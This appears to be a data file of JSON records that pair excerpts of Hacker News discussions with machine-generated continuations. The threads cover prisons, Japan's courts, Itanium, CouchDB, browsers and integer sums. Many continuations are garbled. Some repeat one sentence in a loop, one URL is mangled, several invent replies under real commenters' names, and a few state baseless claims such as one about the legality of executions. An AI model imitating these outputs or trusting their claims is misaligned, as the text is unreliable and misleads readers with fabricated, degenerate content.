has found employment\nbeing re-arrested. Employment is truly the silver bullet that short circuits\nthis pernicious cycle of recidivism.\n\nRecent studies have shown that those with records often emerge as an\nemployer's best hires. Unlike others, people with records have no sense of\nentitlement and truly appreciate the opportunity they've been afforded.\nTypically, they reward employers with great loyalty, which translates to much\ngreater retention (the true bane of HR professionals).\n\nWhile attitudes are changing for the better (I, as a formerly incarcerated\nperson, have noticed this in my own life), there still exists a great negative\nbias towards those with records, the NY Times notwithstanding. Racism figures\nmightily in this equation. But we're a country that elected a racist\nPresident, whose Atty General is eager to reinstate ineffective drug laws\n(including marijuana) that destroyed lives, families and communities in the\n80's 90's and even today.\n\nAnyone with a record can attest to the stigma that doesn't leave after doing\none's time. In fact, for most, it's a life sentence, a sentence that even low\nunemployment can't expunge.\n\n~~~\nXeoncross\nIf I remember correctly, while the U.S. makes up only 5% of the world's\npopulation, we incarcerate 25% of the worlds prison population. I am thankful\nfor work like yours that is helping to rehabilitate people in the most danger.\n\n~~~\nshams93\nMore people are getting arrested and going to jail for more trivial things\nthan ever before. Last time I did jury duty it was not a stabbing or drug\naddict it was a"} +{"output_text": " who have been\nwrongly convicted.\n\n~~~\nAcerbicZero\nI'm not saying that the system is perfect, I'm saying that it's not worse than\nthe system I'm currently subjected to.\n\n~~~\nstcredzero\n_I 'm saying that it's not worse than the system I'm currently subjected to._\n\nI'm saying that it's not worse than the system you're currently subjected to.\n\n------\njimmywanger", "input_text": " some modern concepts for\nsociety, ex:\n[https://en.wikipedia.org/wiki/International_child_abduction_...](https://en.wikipedia.org/wiki/International_child_abduction_in_Japan)\n\n~~~\nzAy0LfpBZLC8mAC\n> Japan is a really weird country, on one hand it's the safest country\n\nHow do you know it is safe if you can easily be wrongly convicted, but no\nstatistic about the country shows that?\n\n~~~\nhamilyon2\nCriminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil.\n\nThis is how it is that safe.\n\n~~~\nstcredzero\n_Criminals think seven, no, seventy times before doing anything that could\npossibly upset japan national on Japanese soil._\n\n _This is how it is that safe._\n\nOr, the criminals are organized and have connections and unspoken agreements\nwith the authorities, existing in a kind of truce.\n\n(EDIT: In essence, the seven to seventy times thinking over has been enshrined\nand institutionalized.)\n\n------\nAcerbicZero\nI'm not going to tell the Japanese how to run their society, primarily because\nI'm not Japanese, they're a sovereign nation, and there is no evidence that\nthe system I'm currently subjected to is any better or worse.\n\nIf the Japanese people want to change this, and want external support to\nchange this, that is an entirely different discussion from what was in this\narticle.\n\n~~~\nstcredzero\n_there is no evidence that the system I'm currently subjected to is any\nbetter or worse_\n\nThere's plenty of evidence in the form of the many people"} +{"output_text": " I\ndon't know what it was.\n\n~~~\njoshuamorton\nIt's a query string that is appended to the end of the URL. It's used to\ncontrol the behavior of the API.\n\n~~~\ncosmicexplorer\nThanks. I was able to find the answer by searching for \"bare\" in the\ndocumentation.\n\n------\njoshuamorton\nI'm not sure if this is a bug or not, but", "input_text": "Kiro\nThis is awesome!\n\nI currently have a small pet project where I think some simple ML would be\ncool but I don't know where to start so these things are great.\n\nBasically my use case is that I have a bunch of 64x64 images (16 colors) which\nI manually label as \"good\", \"neutral\" or \"bad\". I want to input this dataset\nand train the network to categorize new 64x64 images of the same type.\n\nThe closest I've found is this: [https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cd...](https://gist.github.com/sono-\nbfio/89a91da65a12175fb1169240cde3a87b)\n\nBut it's still too hard to understand exactly how I can create my own dataset\nand how to set it up efficiently (the example is using 32x32 but I also want\nto factor in that it's only 16 colors; will that give it some performance\nadvantages?).\n\n~~~\nnl\n[https://blog.keras.io/building-powerful-image-\nclassification...](https://blog.keras.io/building-powerful-image-\nclassification-models-using-very-little-data.html) is what you want.\n\n------\ncosmicexplorer\nWhat is the meaning of the \"?bare\" query string in the url? I googled around\nfor the meaning of query strings on the github site but only found rnandom\nrepos on github (not sure how to narrow the search). The first time I tried\nremoving it I saw another folder named \"to_do\", but this is gone now so"} +{"output_text": "designed for a life of 3-5 years.\n\n~~~\njoezydeco\nI think the point is that the quality stuff will be replaced by the same\nquality stuff.\n\nThe difference is that the quality stuff will be replaced by the same quality\nstuff.\n\n~~~\n0x12\nI think you're right.\n\n------\njoezydeco\nI'm not sure I agree with the author's premise that \"the future of computing\n", "input_text": ", a global economic\ndepression would result in people keeping their possessions longer simply\nbecause they don't have the money to buy new.\n\nLook at the many other products in our lives that people regularly replace\nbefore their usefulness has expired. Cars are probably the best example. When\nthe economy is booming, people replace their cars rapidly. As it slows down,\nthey hold on to them longer. I can't find any long term data, but the graph\nand caption on this page imply that the two are correlated: \"The Changing U.S.\nAuto Industry Series: Consumer Sentiment During Challenging Times.\"\n\n[http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw...](http://www1.eere.energy.gov/vehiclesandfuels/facts/2010_fotw622.html)\n\nI don't see any reason computers will be different. \"Hackers\" will remain a\nniche community, but I still think the many other reasons cited by the author\nwill result in better tools for us to play with. For example, development of\nreasonably priced and performant FPGAs would be huge. Look at the Arduino line\nof products.\n\nThe future is still a bright one. I just don't see \"heirloom laptops\" in our\nfuture.\n\n~~~\n0x12\n> For example, a global economic depression would result in people keeping\n> their possessions longer simply because they don't have the money to buy\n> new.\n\nThat would seriously suck then because the stuff that we've got today for the\nmost part was built with a very definite life-cycle in mind. So when you are\ndumped in that global recession you need the quality stuff that wasn't\n"} +{"output_text": " to execution, and a lot of time\ndiscussing the legal issues of executing someone who is not a US citizen.\n\nI'm not a lawyer, but I'm not sure that the legal issues are as clear cut as\nthe document makes them out to be.\n\n~~~\njlgreco\nI think the legal issues are pretty clear cut. The legal issues are that\nexecuting someone who is not a US citizen is illegal.\n\n~~~\nghshephard", "input_text": " for senior al-Qaida members, it\nwould hold for senior al-Shabaab members, senior Zetas in Mexico, senior\nCapone members, senior Bloods and Crips, senior LulzSec and Anon, etc.\n\nThen you apply the logic which hinges on it being a foreign country and\nparallel that to a condition in our own country and it gets ugly. After\nreading this whole memo, I actually see very little about geography or why\nthis wouldn't be legal in the US. The bottom of page 4 and top of 5 seem to\nactually justify executions within our borders.\n\n~~~\nghshephard\nThe difference is spelled out very clearly in the document. The United States\nis in a state of congressionally approved armed conflict with Al Quaida. Where\nthey not in a state of armed conflict, then there would be no legal basis.\n\nThe consequences of going to war, is that the executive (President, acting as\nCommand in Chief of the armed forces) is authorized to kill the enemy without\njudicial review.\n\n------\nghshephard\nSometimes you have to kill people. One hopes that, as a nation of laws, the\nUnited States does so within reasonable constraints and at the appropriate\ntime, and for the appropriate reasons.\n\nSee: [http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-\nalaba...](http://www.nytimes.com/2013/02/05/us/boy-is-safe-after-alabama-\nhostage-standoff.html?hp) for a tragic example today.\n\nI've skimmed through the entire document - it spends a lot of time talking\nabout things that must be tried prior"} +{"output_text": " taken, but not a GPA.

I am not sure if I should include my GPA or not, but I am not sure if I should include my transcripts either. I am not sure if I should include both or not. I am not sure if I should include my GPA and transcripts or not. I am not sure if I should include my GPA and transcripts or not. I am not sure if I should include my GPA and transcripts or not. I am not", "input_text": "botexpert\nIt's not old. Has most needed background necessary. DL NLP is not necessary\nfor most common tasks.\n\n------\nzump\nI also need help; can someone point me to the latest results with NLP?\n\nI want to build an AI powered note-taker.\n\n------\njm547ster\n[https://www.amazon.co.uk/Introducing-Neuro-Linguistic-\nProgra...](https://www.amazon.co.uk/Introducing-Neuro-Linguistic-Programming-\nJoseph-OConnor/dp/1855383446)\n\n \nAsk HN: Should I include my GPA and/or transcripts when applying for jobs? - CoryG89\nI am set to graduate with my BS in Software Engineering from Auburn University in December. I am currently trying to get my resume in order and start sending out tons of applications for jobs in the next month or so. I have been programming and doing web development in some form since I got my first computer when I was seven or eight years old, I am having trouble trying to decide what all should go on my formal resume. Many people online state to only have one page, or one main page with everything important on it.

Many people at school are recommending to include complete transcripts with grades (mine are pretty good, I have an overall GPA of 3.4. I generally have A marks in hard major classes such as Algorithms, Networks, Assembly, and Operating Systems.

Do you guys think its a good idea to include full transcripts with applications if I have no paid professional experience to speak of? If I do include transcripts should I have my GPA listed on my resume? Many sample resumes I see do not include a GPA. Others include a full list of relevant courses"} +{"output_text": "\n\n~~~\nNomentatus\nI'm not sure I agree with your \"barely works\" point. I think it's a matter of\ndegree. I've seen a lot of software that works, and a lot of software that\ndoesn't. I've seen a lot of software that works well, and a lot of software\nthat doesn't. I've seen a lot of software that works well, and a lot of\nsoftware that doesn't. I've seen a lot", "input_text": "t wait two weeks_ for a new\nfeature, and had to have it _right now_. I have seen businesses die because a\ndevelopment team was so paralyzed by constant interruptions that they were\ndysfunctional and couldn't get any real work done.\n\n~~~\nNomentatus\nIf it's a better data structure, then two weeks might set the course, alas.\nIt's happened to me. Fact is, one can't get away from judgement calls, slogans\nmight nudge in one direction or another, but it all remains a judgement call\nwhat's just a raisin and what isn't. The fatal problem is bosses up the chain\nwho want to demonstrate they matter and are worth their expense by throwing in\nsuperfluous raisins; having a crude slogan (misleading or not) to deter them\nis fine by me.\n\n~~~\nbeat\nA \"better data structure\" is almost never an emergency. And being unable to\nadapt or extend a data structure in the future is not agile, and it's not the\nsimplest thing that can possibly work.\n\nBack when I first started building a startup, I thought \"Thank Dog I no longer\nhave to deal with stupid compromised software, and can start writing\neverything right!\" By the time I was getting anywhere, I was well into toss-\nover-wall methodology. I did things that I knew full well were compromised and\nwould hurt me later, because the work needed done, and needed to \"be done\". It\nwas a real education.\n\nI actually have a lightning talk in mind on this subject, called \"Why software\nsucks\", that argues that suckage is the nature of software development, and\nthat \"barely works\" is the best we can realistically ask for - or even should\nask for."} +{"output_text": " time with us and made sure we were comfortable. They were also very\nrespectful of our privacy.\n\n------\njimmywanger\nI've been in the hospital a few times, and I've had a few bad experiences.\n\nThe first time, I was in the hospital for a week, and I was in a room with\nthree other people. The room was a little too small, and the air conditioner\nwas too loud.\n\nThe second time", "input_text": "0]\n[http://www.audiocura.com/portfolio/sou/](http://www.audiocura.com/portfolio/sou/)\n\n------\nprojectramo\nMy experience (caring for someone in a private room):\n\nNurse head: \"Any complaints?\"\n\nMe: \"We kept getting disturbed.\"\n\nNurse head: \"yeah, we hear that a lot.\"\n\nRepeated 3x over the course of 3 days!!!\n\n------\nsifoobar\nI once spent two weeks in hospital with a smashed vertebra waiting for\noperation. I'm sure many of the individuals involved are trying their best,\nbut it definitely feels more like a place for dying than a place for healing.\n\n------\nlojack\nDuring my daughters first year of life we had multiple hospital stays at\nmultiple hospitals for surgeries. What we found was that your experience can\nvary a lot depending on the hospital.\n\nOur worst experience was at a hospital that was #1 in the nation for its\nspecialty. The staffing leaned heavily on STNAs, and they had a lot of\npatients to look after. Their nurses were similarly rushed. Once in the step\ndown unit we were placed in a pod with three other families. Of course not all\nof them were respectful of recovery, with one of them staying up late into the\nnight having boisterous conversations. We ended up advocating for leaving the\nhospital sooner than they were originally planning. We also found ways to get\nthem to line up vitals and medicine a little better. All of this took\nsignificant advocating and considerable effort.\n\nOur best experience was a complete flip. This was at a top 5 hospital in the\nnation for pediatric care. Nursing staff seemed top of their class. They took\ntheir"} +{"output_text": " like the \"biosphere\" in the ISS.\n\n~~~\ntom_rath\nI'm not questioning the feasibility of the plan. I'm questioning the\nfeasibility of the plan without the moon.\n\nI'm not questioning the feasibility of the plan without the moon. I'm\nquestioning the feasibility of the plan without the moon.\n\nI'm not questioning the feasibility of the plan without the moon. I'm\nquestioning the feasibility of the plan without the moon", "input_text": " the\nsolar system like that, fusion power may very well seem like an interesting\nantique.\n\n~~~\nstcredzero\nTech gets obsolete a lot faster than physics. The energy of fusion is physics,\nnot tech.\n\n------\nTweedHeads\nColonise Mars?\n\nComing from a man who's been in space, that is a stupid claim to do without\nfirst colonizing the moon and learning in the process.\n\nWalk, run, fly.\n\n~~~\ngaius\nNonsense! Go and read some Robert Zubrin.\n\n~~~\ntom_rath\n...then question some of the'miracle technologies' used in Zubrin's\ninfrastructure.\n\nYes, if we had Single Stage to Orbit fully reusable rockets and if all issues\ninvolved in living on another world were understood, Zubrin's plan(s) would be\na shoo-in. However, we can't even construct a reliable artificial biosphere\nfully enclosed here on Earth!\n\nLearn to walk before you try to run. Let's work on sustained outposts on a\nworld no more than three days' travel away first.\n\n~~~\nstcredzero\n_Yes, if we had Single Stage to Orbit fully reusable rockets_\n\nCertainly not essential to Zubrin's plan. There are modifications to Zubrin's\nplan that can be implemented with existing boosters, with on-orbit assembly\nlimited to linking together 4 components. Seems doable to me.\n\n _However, we can't even construct a reliable artificial biosphere fully\nenclosed here on Earth!_\n\nWhere do you get that from? For one thing, the most publicized efforts were\ntried by questionable people. I think a legitimate effort would account for\nthings"} +{"output_text": "\njosteink\nI'm not sure if I'm missing something, but I don't see how this is a problem\nfor Firefox.\n\nI've been using Firefox for years, and I've never had any problems with it.\n\nI've been using Chrome for a few months now, and I've had a few problems with\nit.\n\nI've been using Safari for a few months now, and I've had a few problems with\nit.\n\nI", "input_text": " up and started using Chrome,\nwhich BTW, runs like a banshee even with ABP installed.\n\n~~~\nsjwright\nTo add another data point, I'm using Firefox on the Mac with a half dozen\nplug-ins and I have never experienced pauses remotely like what you describe.\n\nFurthermore, Firefox has been consistently smoother than my near-virgin\ninstall of Chrome. It's weird -- while Chrome definitely finishes loading\npages a bit faster, it performs incomplete page repaints in the process,\ncausing unpleasant whole-of-screen flashes as I jump from page to page. With\nFirefox, moving from page to page is butter smooth.\n\n------\nguylhem\nUnless you want bloatware that sucks RAM and battery, what else are you\nsupposed to use?\n\nI went from Firefox to Safari to Chrome and back to Firefox. Firefox was\nbloatware before. Now it's acceptable when compared to Chrome and Safari.\n\nEither Firefox was improved, or wasn't improved while hardware was, and while\nSafari and Chrome added useless feature after useless feature.\n\nIn any case, I do not see any alternative to Firefox for 'power users'. I'm\nvery happy to use it. The report that Firefox marketshare is shrinking is\nweird. I've seen more and more people using it recently.\n\nMaybe I'm just odd but I love firefox on MacOS, Linux and android because it\njust works at a decent speed.\n\n~~~\nsjwright\nI had moved to Chrome, then switched back because I just couldn't stand it any\nmore. Sure, at its best, Chrome is a bit faster than Firefox. At their worst,\nChrome bogs down more heavily and more often than Firefox ever has for me.\n\n------"} +{"output_text": " of SBCL takes about 3\nseconds?\n\n~~~\nj_baker\nI'm guessing that the loop is compiled to something like this:\n\n \n \n (loop :for x :from 1 :to 1000000000 :do (incf sum x))\n \n\nwhich is a lot more efficient than the equivalent:\n\n \n \n (loop :for x :from 1 :to 1000000000 :do (incf sum x))\n \n", "input_text": "C#: Enumerable.Range(1, 1000000000).Select(Convert.ToInt64).Sum()\n\n------\nchristopheraden\nI asked a similar question for R about a year ago, and saw an interesting way\nto do it, taking advantage of the math.\n[http://stackoverflow.com/questions/11623865/faster-modulo-\nor...](http://stackoverflow.com/questions/11623865/faster-modulo-or-equality-\nchecking-in-r-or-good-ways-to-vectorize)\n\n~~~\nminimaxir\nFun fact: in R, _sum(1:1E07)_ will throw a warning; you have to use\n_sum(as.numeric(1:1E07))_ instead, which will indeed give the correct answer.\n\n------\nChuckMcM\nSo nobody does it?\n\n \n \n $sum = int($max/2) * ($max+1));\n $sum += int(($max+1)/2) if ($max & 1);\n \n\nThis is perl of course but it is exploiting the fact that the sum of integers\nis a sum of constants ($max + 1) with an additional term (the'middle'\ninteger) if the top number is odd.\n\n------\ngshubert17\nSBCL: Commenter postfuturist said that this code:\n\n(time (let ((sum 0)) (loop :for x :from 1 :to 1000000000 :do (incf sum x))\nsum))\n\ntook about 3 seconds from his REPL with SBCL, with about 8.5 billion CPU\ncycles and 0 bytes consed.\n\nDoes anyone know why the same code on my version"} +{"output_text": " look at the\ncoronavirus stats.\n\n~~~\nsjg007\nI think the point is that the people who saw it coming were not in the\ngovernment.\n\n~~~\nonetimemanytime\nI think you're right.\n\n------\nm0zg\nI'm not sure if this is a good thing or not. I mean, it's not like the\ngovernment was doing anything to prevent this.\n\n~~~\nsjg007\n", "input_text": " pandemic until proven otherwise?\n\n------\nthdrdt\nHe is not the only one.\n\nI believe it was an Ask Me Anything with Bill Gates on Reddit.\n\nSomeone asked Gates about a third world war and he replied he was more sure\nand worried about a pandemic.\n\nI have no doubt others in the field had the same thoughts.\n\nThe most troubling thing is that a lot of leaders dismissed this information.\n\n~~~\ncorpMaverick\nHe warned us. We didn't listen.\n\n[https://www.youtube.com/watch?v=6Af6b_wyiwI](https://www.youtube.com/watch?v=6Af6b_wyiwI)\n\n~~~\nrandomsearch\nI think about a gazillion people identified exactly this type of situation as\na problem, and we\u2019ve had plenty of other outbreaks. It is completely\nunsurprising. The UK has done a lot of modelling and prepping for such an\nevent, as I\u2019m sure have other governments, but that doesn\u2019t give you magic\npowers when it happens.\n\n~~~\nmakomk\nIt's also worth bearing in mind that there's precisely one country which could\npossibly have done what he suggested and stopped this by preventing the\nspillover in the first place - China - and, well, good luck with that.\n\n~~~\nrandomsearch\nI think the problem is that the virus is so mild. You can't spot a lot of\ncases, so e.g. someone gets on a plane and is not showing symptoms and a few\ndays later in Italy they get sick or infect others without realising they're\nill.\n\n------\nonetimemanytime\nIt's fair to say that a LOT of people saw it coming. Just"} +{"output_text": " but that's a\ndifferent issue.)\n\n~~~\njamesaguilar\nI think the problem is that Netflix is trying to make the binge-watching\nexperience more like a traditional TV show. They're trying to make it more\nlike a movie, where you watch the whole thing in one sitting.\n\nI think that's a mistake. I think the binge-watching experience is more like\nwatching a TV show in real time. You watch the first", "input_text": " argument. I agree that in an unconstrained\nformat mass appeal is much less important. Yet I don't feel some sort of 'good\nmusic' saturation point has been reached within the single subgenres (and\nsubsubgenres) and I think that it will take a while for that to happen.\n\n------\nzalew\nHN title sums up Business Insider summing up a video sum up of the speech.\n\n~~~\n3rd3\nAs long complexity is only hidden but not lost, that\u2019s OK.\n\nHere is the full speech:\n[http://www.youtube.com/watch?v=oheDqofa5NM](http://www.youtube.com/watch?v=oheDqofa5NM)\n\n~~~\nTyrant505\nThank you, from the lazy.\n\n------\nlukifer\nI still think Netflix is sapping some of the fun and vitality out of their\noriginal series by putting all the episodes up at once. Is binge-watching\ngreat? Of course it is! A huge library of great shows to binge-watch is one of\nthe Netflix's biggest selling points.\n\nBut getting it all at once is like peeking at your Christmas presents early:\nyou think you want it, but it spoils some of the fun, the eventy-ness of it,\nand the social context created by a shared timeline (the so-called \"water-\ncooler effect\").\n\nAnyone who doesn't want that experience can still wait until the whole thing\nis out, probably just a few months, at which point it will still be available\nin the binge library, presumably forever. (I know some who prefer not to start\na new series _at all_ until the entire thing is finished,"} +{"output_text": "\npkrumins\nI'm sorry, I didn't know about your experience. I will definitely follow your\nexample.\n\n------\nmichael_dorfman\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI'm a big fan of your content, and I'm wondering if you have any advice for\nsomeone who is interested in learning more about the subject matter, but\ndoesn't have the time to go through the", "input_text": " btw-- I really dig your content. And that's why I'd\nhate to see you putting your energy into low-value, high-effort activities\nlike the aforementioned, instead of concentrating on the core: producing good\ncontent.\n\n~~~\npkrumins\nThanks for the feedback.\n\nAbout the 301 redirects - it doesn't take much effort. People don't make\nmistakes too often, but when they do I wouldn't like to lose visitors that\ncame from their link. I have currently fixed a few links that I have noticed\nvia URL rewriting, but it's web server specific, and I want to brink it to\napplication level to have all the site configuration centralized from admin\nmenu. Managing this tiny feature won't take much of my time and I will still\nbe able to produce quality articles.\n\nAbout the job board. Oh, didn't think of that. You are right. I will set this\nidea a lower priority and just keep producing good content until I hit\ncritical mass. :)\n\n~~~\nmichael_dorfman\nPersonally speaking, my biggest complaint about your site is that the Lecture\nNotes you publish are for courses I have already taken online-- I only wish\nyou had gotten there first. Damned space-time continuum!\n\n~~~\npkrumins\nOh no... /o\\ When did you take take these courses?\n\n~~~\nmichael_dorfman\nI did them both about 2 years ago. I didn't take any organized notes, I'm\nafraid-- I'd have been happy to pass them along if I had.\n\nIf you're going to continue following in my footsteps, I suppose the UC\nBerkeley Operating Systems course and Knuth's \"Musings\" series will be next\nup.\n\n~~~"} +{"output_text": ", and on the front-end we are used to small oop frameworks.\n\nI think that the best way to learn front-end is to learn the back-end, and\nthen learn the front-end.\n\n~~~\njasonkester\nI think you're confusing front-end with client-side web development.\n\nThe front-end is the part of the stack that you see. It's the part that\nactually gets rendered to the user.\n", "input_text": "\ncan fix your layout. Browsers aren't that scary.\n\nWe're only learning here, so skip IE for now. That one is actually kinda\nscary. Though if you really want to learn front-end, it's all about browser\ndifferences.\n\nAnd then Javascript. Now it will be easy. Stick with jQuery and connect with\nyour Node instance with socket.io. Learn Backbone if you want to make snappy\nweb apps. There's a lot to learn in this 'grey field' between back-end and\nfront-end. But at least you now know front-end.\n\n~~~\niso8859-1\nMight as well make sure you're grammar validates too.\n\nAnyway, I don't understand why the front-end is relevant at all. It's not the\nsame problem, and the fact that most people do both doesn't mean that learning\nto do a good front-end will teach you to do a good back-end.\n\n------\ndanbmil99\nAs a longtime Python guy, mostly back-end (but I knew JS pretty well) -- I did\na quick demo site recently in node, and was surprised by how it felt. There\nwas much less context-switching as I went back and forth between the client\nand server. That sounds obvious but it was kind of a shock.\n\nI always wanted Python on the client (here's looking at you, Jython!) -- js on\nthe server may be the closest thing I'm going to get.\n\n~~~\njdc\nHave you tried Pyjamas?\n\n------\ngbog\nAs noted somewhere else learning node is not learning front-end. Something\nthat bothered me recently is that on the back-end we are used to big oop\nframeworks"} +{"output_text": " tolerance and\ncompassion.\n\n[1] [https://www.theguardian.com/world/2020/apr/05/gandhi-\nindia-c...](https://www.theguardian.com/world/2020/apr/05/gandhi-india-\ncoronavirus-india-india-india-coronavirus-india-coronavirus-india-coronavirus-\n", "input_text": " your experience with them. I can't edit the original\npost any longer (Didn't know that you could only edit for X amount of time)\nbut I will try to recompile it all periodically and republish it or put it on\na website where I can edit it in-place.\n\nYou mention the fill rate was around 1% - this meant that 1% of the time there\nwere ads to display? Isn't that quite low? What should we expect and aim for?\n\n \nMahatma Gandhi is set to become the first non-white person on British currency - seesawtron\nhttps://www.dailymail.co.uk/news/article-8586361/Mahatma-Gandhi-set-non-white-person-British-currency.html\n======\ndragonsh\nGandhi is a first example of proving that non-violence is one of the most\neffective tool for transformation as a society. He wanted equal treatment for\nIndian people at par with any British citizen. But Britain wasn\u2019t ready to\ngrant full dominion status, then series of incidents moved him to ask for full\nfreedom. In his early years in Africa when he was going through\ntransformation, there were some incidents which reflected some prejudice\nagainst native Africans, but subsequently he became a changed man, his\ngreatness lies in constantly reinventing himself as he learns more about life.\n\nGandhi will be crying in his grave of what India has been turned into, in just\n6 years. An intolerant, divided society with complete disdain for rule of law.\nThe concept of reason has gone away completely [1]. Hope the lessons of\nCOVID-19 can turn the tide, hopefully into a plural India which celebrates\nunity in diversity and again put emphasis on reason,"} +{"output_text": " the Itanium architecture.\n\nAMD, on the other hand, was happy to keep the x86 architecture alive, and\neventually succeeded in making it the most popular architecture in the world.\n\n~~~\njandrese\nI think AMD was happy to keep the x86 architecture alive because it was\nalready a successful architecture. Intel was trying to kill it off because\nthey were losing money on it.\n\n~~~\narnon\nI think AMD was happy to keep the", "input_text": " What will OpenVMS\ndo without Itanium?\n\n~~~\nghaff\nAs the parent indicates they're porting it to x86-64. I've been away from\nfollowing HP proprietary systems for almost 10 years but they put a plan in\nplace quite a while ago when it became obvious that Itanium had no future.\nRemember that systems in this space don't need to be the latest and greatest.\nThey need a long support roadmap but it's mostly fine if hardware is on the\nolder side.\n\n------\npinewurst\nBack in 2012, Oracle published some interesting (and IMHO amusing) internal HP\ndocuments re Intel and ongoing Itanium development.\n\n[http://www.oracle.com/us/corporate/features/itanium-346707.h...](http://www.oracle.com/us/corporate/features/itanium-346707.html)\n\n------\nttul\nI got to work with one of the first Itanium machines back in 2000 working as\nan intern. My job was to port Perl to IA-64. It was an amazingly fast machine\n- like living a few years into the future.\n\nI can see why it failed to gain mass traction, but that\u2019s a shame. IA-64 was\nso innovative.\n\n~~~\nmacintux\nHP paid my employer (Progeny) to help port Debian packages to an early Itanium\nsystem. I don\u2019t remember thinking it was fast _at all_, but maybe my memory\nis colored by later miseries.\n\n------\narnon\nIt's interesting that it was actually AMD that kept the Intel x86-64\narchitecture alive.\n\nIntel knew that the x86 architecture was limited in time, and tried to kill it\noff with"} +{"output_text": ". I'm excited\nto see the new features in CouchDB 2.0.\n\n------\njoshu\nI'm really excited about this. I've been using CouchDB for a while now, and\nit's been great.\n\n------\njoshu\nI'm really excited about this. I've been using CouchDB for a while now, and\nit's been great.\n\n------\njoshu\nI'm really excited about this", "input_text": "are slow etc.\n\nC++ is very fast and very sharp. Not easy to get everything right. (Some sort\nGreenspun's rule would apply here I think. Substitute Erlang for Common Lisp).\n\n~~~\nmarkpapadakis\nI understand it is about tradeoffs, and that the benefits and limitations of\nevery language(in terms of syntax and semantics, and its associated runtime/VM\n-- if any) definitely define to a large extent the final product's\ncharacteristics.\n\nI am only saying that Mongo is not unreliable because C++ was selected; it's\nunreliable because of architectural choices and lack of care which may or may\nnot have been intentional.\n\n~~~\ntormeh\nCrudely put, my point was that the people who freely choose C, C++ and\nJavascript (and PHP etc.) are the kind of people who don't care much for\nquality. I understand if there are availability or historic (or even sometimes\nperformance) reasons why someone chose a bad language, but if not I'm a bit\nprejudiced towards them. Erlang, in contrast to the aforementioned languages,\nis a language for people who plan to do things _properly_.\n\n------\nniftich\nSummary:\n\nCouchDB 2.0 is a unification of the CouchDB 1.x line (a single-node DB) with\nBigCouch (which was a fork by Cloudant that added proper out-of-the-box\nclustering).\n\n------\nreubano\nYou have no idea how long I've been waiting for this. I seriously thought\ncouchdb was dead. Looking forward to more frequent releases in the future.\n\n------\ndoublerebel\nI've had great experiences with Cloudant's service and features"} +{"output_text": ", etc.\n\nI think it's a good idea to have a target reflex. I think it's a good idea to\nhave a target reflex for your work.\n\n------\njasonkester\nI've been working on this for a while. I've found that the best way to get\nstarted is to make a list of things that you want to do, and then to do them\nin order.\n\nThe first thing I do is to make a list of", "input_text": "have external stimulation big enough to not have time to think about these\nmatters. I don't want to be silly, but if you'd be hungry, jobless or having a\nlot of stake at risk, your brain would imidiately switch to \"get shit done\".\nSo much for external motivation. Internal motivation, thats another story,\nwhich everyone need to figure out themselves. Still struggling myself.\n\n------\ntouchofevil\nYou sound a lot like me. I have had tons of trouble making myself work, even\non my passion projects that I have invested significant amounts of my own\nmoney in. I would recommend that you read Turning Pro by Steven Pressfield. He\nwas a chronic procrastinator who turned things around. I would combine this\nwith renting a desk at a coworking space and keeping regular work hours,\nthough they might only be four or six hours per day (8 is too much if you are\nactually working).\n\n------\nwdalrymple\nI picked up bullet journalling last year and it has dramatically improved my\nprocrastination and disorganization which has had the biggest impact on my\nmotivation.\n\nSetting aside each night to review the day and plan the next really helps. I\nlove checking shit off. Just make sure your list is achievable and the tasks\nare small enough. Large tasks that take multiple days can be overwhelming and\nlose meaning.\n\nIt also helps that my bujo is a physical book. That tactile experience makes a\nbig difference.\n\n------\npps43\nIvan Pavlov, famous for his dog experiments, wrote about something he called\n\"target reflex\" (approximate translation, I could not find his 1916 book by\nthat name in English). That's the desire to capture the flag, reach another\nlevel"} +{"output_text": "com/blog/archives/2013/01/oh_by_is_the_...](https://www.schneier.com/blog/archives/2013/01/oh_by_is_the_un.html)\n\n2\\. [https://www.schneier.com/blog/archives/2013/01/oh_by_is_the_...](https://www.schneier.com/blog/archives/2013", "input_text": " about it.\n\n~~~\nTheAmazingIdiot\nTrust me. I'm not bashing.\n\nI have a blackberry hooked up to Google Voice and Mail servers. They know my\nname, address, all my phone numbers, all my emails, my contact lists,\nfrequency I receive calls on my Google number, text transcription of\nvoicemails. They also can potentially record every call I receive and make\nwith GV.\n\nConsidering the benefit I get from _just Mail and GV_, the datamining is a\ncost I'm willing to make. I also know if my phone is lost, I dont lose my\ndata. And I can back it up elsewhere.\n\nAnd I am somewhat happily shocked that they came such forthright that they\n\"fired him for snooping\". Most places will only say \"They no longer work for\nthe company\".\n\n------\nCharuru\nSo this genius violated policy, and then bragged about it to his victim / the\nperson who have the most reason to report him?\n\nHe's totally dumb.\n\n------\nrufugee\nWow...it appears Daniel Faraday left the island and took up programming...\n\n \n\u201cOh By\u201d Is the Universal Shortener - rsync\nhttps://0x.co/index.html\n======\nsmt88\nDon't use this or any other URL shortener for any reason. It degrades online\nsecurity[1], creates a bad UX, and breaks the web[2].\n\nIf you insist on using one, use one that is owned and maintained by a massive,\nstable company, like Google[3]. Smaller services, with no culpable business\nbehind them, tend to die off[4][5].\n\n1\\.\n[https://www.schneier."} +{"output_text": " and see how they compare.\n\n~~~\njoe24pack\nI'm not sure how to do that. I'm not sure how to get the time it took to\ncalculate it in ruby.\n\n~~~\njypepin\nI'm not sure either, but I think it would be interesting to see how the\nperformance of different languages varies.\n\n------\njoe24pack\nI'm not sure how to get the time it took to calculate it in ruby", "input_text": "\n~~~\ngsnedders\nYou still can \u2014 now the dispatch overhead is ever closer to zero, the cost of\nthe operation is even more apparent.\n\n------\njoe24pack\nI think I might be doing it wrong, because I didn't do any looping. I'm a bit\ntoo lazy and impatient for that, who wants to spend their afternoon adding all\nthose numbers up even with a computer.\n\n \n \n [joe24pack@staropramen ~]$ python\n Python 2.6.6 (r266:84292, May 1 2012, 13:52:17) \n [GCC 4.4.6 20110731 (Red Hat 4.4.6-3)] on linux2\n Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n >>> def gauss(x):\n ... return (x+1)*(x/2)\n ... \n >>> gauss(10)\n 55\n >>> gauss(1000000000)\n 500000000500000000\n >>>\n\n~~~\nTibbes\nHmmmm, make that:\n\n \n \n def gauss(x):\n return (x+1)*x/2\n \n\n(consider gauss(11), for example)\n\nYou gotta admit, on an article about the difference between integer and\nfloating-point arithmetic, that's pretty 